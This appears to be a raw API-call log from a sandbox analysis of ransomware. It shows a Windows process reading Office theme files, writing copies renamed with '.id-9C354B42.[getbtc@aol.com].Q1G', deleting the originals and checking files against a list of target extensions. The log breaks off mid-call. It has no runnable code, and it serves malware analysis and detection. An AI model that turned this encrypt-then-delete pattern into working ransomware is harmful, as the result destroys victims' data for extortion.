[0243.855] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=22554) returned 1 [0243.855] CloseHandle (hObject=0x360) returned 1 [0243.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 0x20 [0243.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.863] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.863] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0243.866] GetLastError () returned 0x0 [0243.866] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x581a, lpOverlapped=0x0) returned 1 [0243.871] WriteFile (in: hFile=0x37c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x5820, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x5820, lpOverlapped=0x0) returned 1 [0243.872] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.872] WriteFile (in: hFile=0x37c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0243.872] SetEndOfFile (hFile=0x37c) returned 1 [0243.872] CloseHandle (hObject=0x37c) returned 1 [0243.872] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.872] SetEndOfFile (hFile=0x3a0) returned 1 [0243.875] CloseHandle (hObject=0x3a0) returned 1 [0243.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 1 [0243.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0243.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0243.958] lstrlenW (lpString=".doc") returned 4 [0243.958] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.958] lstrlenW (lpString=".docx") returned 5 [0243.958] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.958] lstrlenW (lpString=".pdf") returned 4 [0243.958] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.958] lstrlenW (lpString=".xls") returned 4 [0243.958] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.958] lstrlenW (lpString=".xlsx") returned 5 [0243.958] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.958] lstrlenW (lpString=".ppt") returned 4 [0243.958] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0243.958] lstrlenW (lpString=".zip") returned 4 [0243.958] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.958] lstrlenW (lpString=".rar") returned 4 [0243.958] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.958] lstrlenW (lpString=".bz2") returned 4 [0243.958] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.958] lstrlenW (lpString=".7z") returned 3 [0243.958] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0243.958] lstrlenW (lpString=".dbf") returned 4 [0243.958] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0243.958] lstrlenW (lpString=".1cd") returned 4 [0243.958] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0243.958] lstrlenW (lpString=".jpg") returned 4 [0243.958] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0243.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0243.959] lstrlenW (lpString=".doc") returned 4 [0243.959] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.959] lstrlenW (lpString=".docx") returned 5 [0243.959] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.959] lstrlenW (lpString=".pdf") returned 4 [0243.959] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.959] lstrlenW (lpString=".xls") returned 4 [0243.959] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.959] lstrlenW (lpString=".xlsx") returned 5 [0243.959] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.959] lstrlenW (lpString=".ppt") returned 4 [0243.959] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0243.959] lstrlenW (lpString=".zip") returned 4 [0243.959] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.959] lstrlenW (lpString=".rar") returned 4 [0243.959] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.959] lstrlenW (lpString=".bz2") returned 4 [0243.959] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.959] lstrlenW (lpString=".7z") returned 3 [0243.959] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0243.959] lstrlenW (lpString=".dbf") returned 4 [0243.959] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0243.959] lstrlenW (lpString=".1cd") returned 4 [0243.959] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0243.960] lstrlenW (lpString=".jpg") returned 4 [0243.960] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.960] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.960] lstrlenW (lpString="Essential.eftx") returned 14 [0243.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0243.961] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=16350) returned 1 [0243.961] CloseHandle (hObject=0x204) returned 1 [0243.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 0x20 [0243.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0243.962] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.962] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0243.962] GetLastError () returned 0x0 [0243.962] ReadFile (in: hFile=0x204, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x3fde, lpOverlapped=0x0) returned 1 [0243.964] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x3fe0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x3fe0, lpOverlapped=0x0) returned 1 [0243.965] ReadFile (in: hFile=0x204, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.965] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0243.966] SetEndOfFile (hFile=0x3ac) returned 1 [0243.966] CloseHandle (hObject=0x3ac) returned 1 [0243.966] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.966] SetEndOfFile (hFile=0x204) returned 1 [0243.968] CloseHandle (hObject=0x204) returned 1 [0243.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 1 [0243.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0243.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0243.970] lstrlenW (lpString=".doc") returned 4 [0243.970] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.970] lstrlenW (lpString=".docx") returned 5 [0243.970] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.970] lstrlenW (lpString=".pdf") returned 4 [0243.970] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.970] lstrlenW (lpString=".xls") returned 4 [0243.970] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.970] lstrlenW (lpString=".xlsx") returned 5 [0243.970] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.970] lstrlenW (lpString=".ppt") returned 4 [0243.970] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0243.970] lstrlenW (lpString=".zip") returned 4 [0243.970] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.970] lstrlenW (lpString=".rar") returned 4 [0243.970] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.970] lstrlenW (lpString=".bz2") returned 4 [0243.970] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.970] lstrlenW (lpString=".7z") returned 3 [0243.970] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0243.970] lstrlenW (lpString=".dbf") returned 4 [0243.970] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0243.970] lstrlenW (lpString=".1cd") returned 4 [0243.970] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0243.970] lstrlenW (lpString=".jpg") returned 4 [0243.970] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0243.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0243.970] lstrlenW (lpString=".doc") returned 4 [0243.970] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.970] lstrlenW (lpString=".docx") returned 5 [0243.971] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.971] lstrlenW (lpString=".pdf") returned 4 [0243.971] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.971] lstrlenW (lpString=".xls") returned 4 [0243.971] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.971] lstrlenW (lpString=".xlsx") returned 5 [0243.971] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.971] lstrlenW (lpString=".ppt") returned 4 [0243.971] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0243.971] lstrlenW (lpString=".zip") returned 4 [0243.971] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.971] lstrlenW (lpString=".rar") returned 4 [0243.971] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.971] lstrlenW (lpString=".bz2") returned 4 [0243.971] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.971] lstrlenW (lpString=".7z") returned 3 [0243.971] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0243.971] lstrlenW (lpString=".dbf") returned 4 [0243.971] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0243.971] lstrlenW (lpString=".1cd") returned 4 [0243.971] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0243.972] lstrlenW (lpString=".jpg") returned 4 [0243.972] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.972] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.972] lstrlenW (lpString="Executive.eftx") returned 14 [0243.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0243.973] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=21156) returned 1 [0243.973] CloseHandle (hObject=0x204) returned 1 [0243.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 0x20 [0243.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0243.973] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.973] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0243.974] GetLastError () returned 0x0 [0243.974] ReadFile (in: hFile=0x204, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x52a4, lpOverlapped=0x0) returned 1 [0243.976] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x52b0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x52b0, lpOverlapped=0x0) returned 1 [0243.977] ReadFile (in: hFile=0x204, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0243.977] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0243.977] SetEndOfFile (hFile=0x3ac) returned 1 [0243.977] CloseHandle (hObject=0x3ac) returned 1 [0243.977] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0243.977] SetEndOfFile (hFile=0x204) returned 1 [0243.980] CloseHandle (hObject=0x204) returned 1 [0243.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.980] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 1 [0243.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0243.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0243.981] lstrlenW (lpString=".doc") returned 4 [0243.981] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.981] lstrlenW (lpString=".docx") returned 5 [0243.981] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.981] lstrlenW (lpString=".pdf") returned 4 [0243.981] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.981] lstrlenW (lpString=".xls") returned 4 [0243.981] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.981] lstrlenW (lpString=".xlsx") returned 5 [0243.981] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.981] lstrlenW (lpString=".ppt") returned 4 [0243.981] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0243.981] lstrlenW (lpString=".zip") returned 4 [0243.982] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.982] lstrlenW (lpString=".rar") returned 4 [0243.982] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.982] lstrlenW (lpString=".bz2") returned 4 [0243.982] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.982] lstrlenW (lpString=".7z") returned 3 [0243.982] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0243.982] lstrlenW (lpString=".dbf") returned 4 [0243.982] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0243.982] lstrlenW (lpString=".1cd") returned 4 [0243.982] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0243.982] lstrlenW (lpString=".jpg") returned 4 [0243.982] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0243.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0243.982] lstrlenW (lpString=".doc") returned 4 [0243.982] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0243.982] lstrlenW (lpString=".docx") returned 5 [0243.982] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0243.982] lstrlenW (lpString=".pdf") returned 4 [0243.982] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0243.982] lstrlenW (lpString=".xls") returned 4 [0243.982] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0243.982] lstrlenW (lpString=".xlsx") returned 5 [0243.982] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0243.982] lstrlenW (lpString=".ppt") returned 4 [0243.982] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0243.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0243.982] lstrlenW (lpString=".zip") returned 4 [0243.982] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0243.982] lstrlenW (lpString=".rar") returned 4 [0243.982] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0243.982] lstrlenW (lpString=".bz2") returned 4 [0243.982] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0243.983] lstrlenW (lpString=".7z") returned 3 [0243.983] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0243.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0243.983] lstrlenW (lpString=".dbf") returned 4 [0243.983] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0243.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0243.983] lstrlenW (lpString=".1cd") returned 4 [0243.983] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0243.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0243.983] lstrlenW (lpString=".jpg") returned 4 [0243.983] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0243.983] lstrcmpiW (lpString1=".eftx", lpString2=".Q1G") returned -1 [0243.983] lstrlenW (lpString="Flow.eftx") returned 9 [0243.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0243.984] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=26648) returned 1 [0243.984] CloseHandle (hObject=0x204) returned 1 [0243.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 0x20 [0243.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), 